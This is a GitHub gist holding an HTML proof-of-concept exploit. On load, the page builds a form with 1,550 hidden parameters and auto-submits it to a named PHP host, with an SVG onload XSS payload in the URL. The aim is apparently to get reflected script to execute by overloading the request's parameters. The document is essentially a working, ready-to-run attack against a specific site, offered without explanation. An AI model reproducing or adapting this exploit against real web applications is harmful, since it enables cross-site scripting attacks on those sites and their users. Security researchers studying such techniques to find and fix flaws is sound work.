Skip to content

Instantly share code, notes, and snippets.

@frevadiscor
Created April 28, 2024 17:06
Show Gist options
  • Save frevadiscor/4ca1ecde477dba288176ff5fc674de17 to your computer and use it in GitHub Desktop.
Save frevadiscor/4ca1ecde477dba288176ff5fc674de17 to your computer and use it in GitHub Desktop.
<html>
<body>
<form id="massiveForm" action="http://pilv.ar/index.php?xss=<svg/onload=alert`1`>" method="post" enctype="multipart/form-data">
<input type="submit" value="Invia Parametri">
</form>
<script>
function appendInput(name, value, form) {
const input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = value;
form.appendChild(input);
}
window.onload = function() {
const form = document.getElementById('massiveForm');
for (let i = 1; i <= 1550; i++) {
appendInput(`param${i}`, `value${i}`, form);
}
form.querySelector('input[type="submit"]').click();
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment